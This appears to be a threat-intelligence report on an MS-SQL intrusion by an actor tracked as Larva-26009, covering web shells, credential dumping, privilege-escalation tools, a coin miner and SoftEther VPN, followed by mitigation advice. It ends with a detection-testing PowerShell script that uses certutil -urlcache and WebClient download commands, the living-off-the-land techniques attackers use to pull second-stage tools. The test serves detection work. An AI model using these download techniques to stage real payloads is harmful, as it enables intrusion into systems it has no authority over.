MS SQL Server Intrusion Uses GoToHTTP and SoftEther VPN for Remote Access

Summary

A threat actor tracked as Larva-26009 targeted MS-SQL servers to deploy multiple malware payloads, including XMRig CoinMiner and SoftEther VPN. The intrusion involved installing web shells for persistence, stealing credentials through registry dumping, and using several privilege escalation utilities. The attacker also relied on specialized loaders and encrypted files to evade traditional security detection mechanisms.

Investigation

The AhnLab Security Intelligence Center (ASEC) detected the intrusion while monitoring attack activity targeting MS-SQL servers. The investigation uncovered the use of certutil.exe to decrypt web shell files, along with command-line activity associated with credential dumping and lateral movement. Researchers also documented several Potato-style privilege escalation tools and specialized shellcode loaders, including RingQ.

Mitigation

Administrators should enforce strong, complex, and regularly rotated passwords for all database service accounts to reduce the risk of brute-force attacks. Database servers should be protected by firewalls that restrict public access and minimize the exposed attack surface. Security software and endpoint protection solutions should also be kept fully updated to detect known malware signatures and related malicious activity.

Response

If malicious activity is detected, security teams should immediately isolate compromised MS-SQL and IIS web servers to prevent further lateral movement. Responders should audit newly created user accounts, particularly those using suspicious naming patterns such as names ending in $. Memory forensics should also be performed to identify injected shellcode and uncover unauthorized VPN or remote desktop services running on affected systems.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary has gained initial access and intends to download a secondary stage payload to establish persistence. To avoid suspicion, they decide to use “Living-off-the-Land” (LotL) techniques. They will attempt two methods: first, using certutil.exe to download a file via the -urlcache flag, and second, using a legacy System.Net.WebClient call in PowerShell. This mimics an attacker attempting to blend in with legitimate administrative traffic while pulling down tools.

• Regression Test Script:

  # Simulation Script for Certutil and PowerShell Download Detection
  # Note: This script attempts to download a harmless text file from a public URL.
  
  $TargetUrl = "https://raw.githubusercontent.com/socprime/test-payloads/main/test.txt"
  $LocalPathCertutil = "$env:TEMPcertutil_download.txt"
  $LocalPathPS = "$env:TEMPps_download.txt"
  
  Write-Host "[+] Starting Simulation..." -ForegroundColor Cyan
  
  # Method 1: Certutil URL Cache Download
  Write-Host "[*] Executing Certutil download technique..." -ForegroundColor Yellow
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f $TargetUrl $LocalPathCertutil" -NoNewWindow -Wait
  
  # Method 2: PowerShell WebClient Download
  Write-Host "[*] Executing PowerShell WebClient technique..." -ForegroundColor Yellow
  powershell.exe -ExecutionPolicy Bypass -Command "(new-object System.Net.WebClient).DownloadFile('$TargetUrl', '$LocalPathPS')"
  
  Write-Host "[+] Simulation Commands Executed." -ForegroundColor Green

• Cleanup Commands:

  # Cleanup Script
  Remove-Item -Path "$env:TEMPcertutil_download.txt" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPps_download.txt" -ErrorAction SilentlyContinue
  Write-Host "[+] Cleanup Complete." -ForegroundColor Green